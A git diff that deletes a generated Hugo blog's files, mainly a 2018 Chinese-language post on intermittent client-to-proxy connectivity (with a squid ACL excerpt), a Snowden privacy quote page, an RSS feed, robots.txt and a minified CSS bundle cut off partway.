    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/post/weird-client-server-connection/index.html b/themes/public/post/weird-client-server-connection/index.html deleted file mode 100644 index 6d251a42..00000000 --- a/themes/public/post/weird-client-server-connection/index.html +++ /dev/null @@ -1,468 +0,0 @@ - - - - - - - - - - [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係? | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - - - -
    -

    [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

    -
    - - - 2018-11-08 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    - -

    來到這個環境之後,有一個很詭異的狀況一直困擾著我

    - -

    在每個分公司,都會有一台伺服器作為KVM Host

    - -

    上面跑兩台VM,一台作為ansible controller (目前沒作用)

    - -

    另一台作為這邊所謂的 “Build Server”

    - -

    用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)

    - -

    問題就發生在這台 Build Server 上…

    - -

    - -

    有陣子花了點時間去檢查各個分公司的網路環境,確保每一台Build Server都能夠連接Internet

    - -

    然後找了一個離總部最近的據點,把這些電腦連接Internet 的方式改為用 proxy 來控制

    - -

    在proxy內加入了 allowhost 的設定,然後把user電腦上的瀏覽器都代入 proxy server (firefox/chrome 的設定方式不同)

    - -
    acl localnet src 192.168.28.0/24
    -acl allowhost src "/etc/squid3/allowhost.txt"
    -acl localdomain dstdomain "/etc/squid3/localdomain.txt"
    -acl SSL_ports port 443
    -acl Safe_ports port 80      # http                                                                                                                          
    -acl Safe_ports port 21      # ftp
    -acl Safe_ports port 443     # https
    -acl Safe_ports port 70      # gopher
    -acl Safe_ports port 210     # wais
    -acl Safe_ports port 1025-65535  # unregistered ports
    -acl Safe_ports port 280     # http-mgmt
    -acl Safe_ports port 488     # gss-http
    -acl Safe_ports port 591     # filemaker
    -acl Safe_ports port 777     # multiling http
    -acl CONNECT method CONNECT
    -
    - -

    一開始這樣作還相安無事,但是呢,慢慢的時不時會有USER反應說無法連接 Internet

    - -

    照理來說,因為都是透過proxy上網,所以如果是proxy server出問題,那其他電腦應該也不行上Internet

    - -

    但如果這樣的話,那就一點也不詭異了呀(攤手)

    - -

    實際上的狀況是,只有反應的USER的電腦無法連接Internet

    - -

    然後真的詭異的來了

    - -

    用USER電腦去 ping proxy server ,有時候會通,有時候不通..

    - -

    從Proxy Server去 ping USER電腦,也是類似的狀況

    - -

    可是我卻可以透過IPSEC VPN,分別SSH連接到這兩台機器上

    - -

    這代表兩台的網路都OK呀..

    - -

    正當我百思不得其解的時候,突然 USER電腦那邊的 ping 有反應了

    - -

    變成可以 ping proxy Server 了! (What the FXXX !!!!)

    - -

    我什麼都沒改呀…

    - -
    - -

    反正呢…

    - -

    這種狀況三不五時就會出現一次,會出現在哪一台電腦也不一定

    - -

    不過,依照觀察到的狀況來說,似乎都是發生在很少開機的電腦上

    - -

    然後呢,因為底層是 KVM

    - -

    我也嘗試過用virsh 去restart VM 或者是 restart network

    - -

    有時候可以解決,有時候又還是不能連接

    - -

    於是另外測試安裝了 proxmox VE 的虛擬平台

    - -

    在上面起一台新的Server,再用 ansible 做成 build server的角色

    - -

    這樣子作的機器,就不會發生這種狀況

    - -

    所以我在猜是不是跟底層是KVM有關係..

    - -

    不過要動這個的話,工程有點大,手邊也沒那麼多機器可以替換(很慘)

    - -

    暫時先保留這個作法,等到下次再發生這狀況

    - -

    再來找老闆看這情形,然後來討論要不要換掉各分公司的VM Host…

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/quote/edward-snowden-privacy/index.html b/themes/public/quote/edward-snowden-privacy/index.html deleted file mode 100644 index b9da6b65..00000000 --- a/themes/public/quote/edward-snowden-privacy/index.html +++ /dev/null @@ -1,356 +0,0 @@ - - - - - - - - - - Edward Snowden About Privacy | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - -
    -

    Arguing that you don’t care about the right to privacy because you have nothing to hide is no different than saying you don’t care about free speech because you have nothing to say.

    - - Edward Snowden -
    -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/quote/index.html b/themes/public/quote/index.html deleted file mode 100644 index 6d4486e6..00000000 --- a/themes/public/quote/index.html +++ /dev/null @@ -1,345 +0,0 @@ - - - - - - - - - - Quotes | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - -
    -

    Arguing that you don’t care about the right to privacy because you have nothing to hide is no different than saying you don’t care about free speech because you have nothing to say.

    - - Edward Snowden -
    -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/quote/index.xml b/themes/public/quote/index.xml deleted file mode 100644 index 761dbc58..00000000 --- a/themes/public/quote/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Quotes on My cool new Blog - https://h.cowbay.org/quote/ - Recent content in Quotes on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 13:01:14 +0100 - - - - - - Edward Snowden About Privacy - https://h.cowbay.org/quote/edward-snowden-privacy/ - Wed, 01 Nov 2017 13:01:14 +0100 - - https://h.cowbay.org/quote/edward-snowden-privacy/ - Arguing that you don&rsquo;t care about the right to privacy because you have nothing to hide is no different than saying you don&rsquo;t care about free speech because you have nothing to say. - - - - \ No newline at end of file diff --git a/themes/public/quote/page/1/index.html b/themes/public/quote/page/1/index.html deleted file mode 100644 index 358da99e..00000000 --- a/themes/public/quote/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/quote/ \ No newline at end of file diff --git a/themes/public/robots.txt b/themes/public/robots.txt deleted file mode 100644 index 3bd44fa3..00000000 --- a/themes/public/robots.txt +++ /dev/null @@ -1,2 +0,0 @@ -User-agent: * -Sitemap: https://h.mc4.us/sitemap.xml diff --git a/themes/public/sass/combined.min.2e8091258939de1c248d5413671981b76c937109647273811ded29149f077dd7.css b/themes/public/sass/combined.min.2e8091258939de1c248d5413671981b76c937109647273811ded29149f077dd7.css deleted file mode 100644 index 7c0c5a4b..00000000 --- a/themes/public/sass/combined.min.2e8091258939de1c248d5413671981b76c937109647273811ded29149f077dd7.css +++ /dev/null @@ -1,2 +0,0 @@ -@charset "UTF-8";/*!normalize.css v8.0.0 | MIT License | github.com/necolas/normalize.css*/html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}h1{font-size:2em;margin:.67em 0}hr{box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:#0000}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details{display:block}summary{display:list-item}template{display:none}[hidden]{display:none}.container{position:relative;width:100%;max-width:960px;margin:0 auto;padding:0 20px;box-sizing:border-box}.column,.columns{width:100%;float:left;box-sizing:border-box}@media(min-width:400px){.container{width:85%;padding:0}}@media(min-width:550px){.container{width:80%}.column,.columns{margin-left:4%}.column:first-child,.columns:first-child{margin-left:0}.one.column,.one.columns{width:4.66666666667%}.two.columns{width:13.3333333333%}.three.columns{width:22%}.four.columns{width:30.6666666667%}.five.columns{width:39.3333333333%}.six.columns{width:48%}.seven.columns{width:56.6666666667%}.eight.columns{width:65.3333333333%}.nine.columns{width:74%}.ten.columns{width:82.6666666667%}.eleven.columns{width:91.3333333333%}.twelve.columns{width:100%;margin-left:0}.one-third.column{width:30.6666666667%}.two-thirds.column{width:65.3333333333%}.one-half.column{width:48%}.offset-by-one.column,.offset-by-one.columns{margin-left:8.66666666667%}.offset-by-two.column,.offset-by-two.columns{margin-left:17.3333333333%}.offset-by-three.column,.offset-by-three.columns{margin-left:26%}.offset-by-four.column,.offset-by-four.columns{margin-left:34.6666666667%}.offset-by-five.column,.offset-by-five.columns{margin-left:43.3333333333%}.offset-by-six.column,.offset-by-six.columns{margin-left:52%}.offset-by-seven.column,.offset-by-seven.columns{margin-left:60.6666666667%}.offset-by-eight.column,.offset-by-eight.columns{margin-left:69.3333333333%}.offset-by-nine.column,.offset-by-nine.columns{margin-left:78%}.offset-by-ten.column,.offset-by-ten.columns{margin-left:86.6666666667%}.offset-by-eleven.column,.offset-by-eleven.columns{margin-left:95.3333333333%}.offset-by-one-third.column,.offset-by-one-third.columns{margin-left:34.6666666667%}.offset-by-two-thirds.column,.offset-by-two-thirds.columns{margin-left:69.3333333333%}.offset-by-one-half.column,.offset-by-one-half.columns{margin-left:52%}}html{font-size:62.5%}body{font-size:1.5em;line-height:1.6;font-weight:400;font-family:Raleway,HelveticaNeue,helvetica neue,Helvetica,Arial,sans-serif;color:#222}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:2rem;font-weight:300}h1{font-size:4rem;line-height:1.2;letter-spacing:-.1rem}h2{font-size:3.6rem;line-height:1.25;letter-spacing:-.1rem}h3{font-size:3rem;line-height:1.3;letter-spacing:-.1rem}h4{font-size:2.4rem;line-height:1.35;letter-spacing:-.08rem}h5{font-size:1.8rem;line-height:1.5;letter-spacing:-.05rem}h6{font-size:1.5rem;line-height:1.6;letter-spacing:0}@media(min-width:550px){h1{font-size:5rem}h2{font-size:4.2rem}h3{font-size:3.6rem}h4{font-size:3rem}h5{font-size:2.4rem}h6{font-size:1.5rem}}p{margin-top:0}a{color:#1eaedb}a:hover{color:#0fa0ce}.button,button,input[type=button],input[type=reset],input[type=submit]{display:inline-block;height:38px;padding:0 30px;color:#555;text-align:center;font-size:11px;font-weight:600;line-height:38px;letter-spacing:.1rem;text-transform:uppercase;text-decoration:none;white-space:nowrap;background-color:#0000;border-radius:4px;border:1px solid #bbb;cursor:pointer;box-sizing:border-box}.button:focus,.button:hover,button:focus,button:hover,input[type=button]:focus,input[type=button]:hover,input[type=reset]:focus,input[type=reset]:hover,input[type=submit]:focus,input[type=submit]:hover{color:#333;border-color:#888;outline:0}.button.button-primary,button.button-primary,input[type=button].button-primary,input[type=reset].button-primary,input[type=submit].button-primary{color:#fff;background-color:#33c3f0;border-color:#33c3f0}.button.button-primary:focus,.button.button-primary:hover,button.button-primary:focus,button.button-primary:hover,input[type=button].button-primary:focus,input[type=button].button-primary:hover,input[type=reset].button-primary:focus,input[type=reset].button-primary:hover,input[type=submit].button-primary:focus,input[type=submit].button-primary:hover{color:#fff;background-color:#1eaedb;border-color:#1eaedb}input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=url],select,textarea{height:38px;padding:6px 10px;background-color:#fff;border:1px solid #d1d1d1;border-radius:4px;box-shadow:none;box-sizing:border-box}input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=url],textarea{-webkit-appearance:none;-moz-appearance:none;appearance:none}textarea{min-height:65px;padding-top:6px;padding-bottom:6px}input[type=email]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=url]:focus,select:focus,textarea:focus{border:1px solid #33c3f0;outline:0}label,legend{display:block;margin-bottom:.5rem;font-weight:600}fieldset{padding:0;border-width:0}input[type=checkbox],input[type=radio]{display:inline}label>.label-body{display:inline-block;margin-left:.5rem;font-weight:400}ul{list-style:circle inside}ol{list-style:decimal inside}ol,ul{padding-left:0;margin-top:0}ol ol,ol ul,ul ol,ul ul{margin:1.5rem 0 1.5rem 3rem;font-size:90%}li{margin-bottom:1rem}code{padding:.2rem .5rem;margin:0 .2rem;font-size:90%;white-space:nowrap;background:#f1f1f1;border:1px solid #e1e1e1;border-radius:4px}pre>code{display:block;padding:1rem 1.5rem;white-space:pre}td,th{padding:12px 15px;text-align:left;border-bottom:1px solid #e1e1e1}td:first-child,th:first-child{padding-left:0}td:last-child,th:last-child{padding-right:0}.button,button{margin-bottom:1rem}fieldset,input,select,textarea{margin-bottom:1.5rem}blockquote,dl,figure,form,ol,p,pre,table,ul{margin-bottom:2.5rem}.u-full-width{width:100%;box-sizing:border-box}.u-max-full-width{max-width:100%;box-sizing:border-box}.u-pull-right{float:right}.u-pull-left{float:left}hr{margin-top:3rem;margin-bottom:3.5rem;border-width:0;border-top:1px solid #e1e1e1}.container:after,.row:after,.u-cf{content:"";display:table;clear:both}/*!* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome -* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)*/@font-face{font-family:fontawesome;src:url(../fonts/fontawesome-webfont.eot?v=4.7.0);src:url(../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0) format("embedded-opentype"),url(../fonts/fontawesome-webfont.woff2?v=4.7.0) format("woff2"),url(../fonts/fontawesome-webfont.woff?v=4.7.0) format("woff"),url(../fonts/fontawesome-webfont.ttf?v=4.7.0) format("truetype"),url(../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular) format("svg");font-weight:400;font-style:normal}.fa{display:inline-block;font:14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1,1);-ms-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1,-1);-ms-transform:scale(1,-1);transform:scale(1,-1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-squ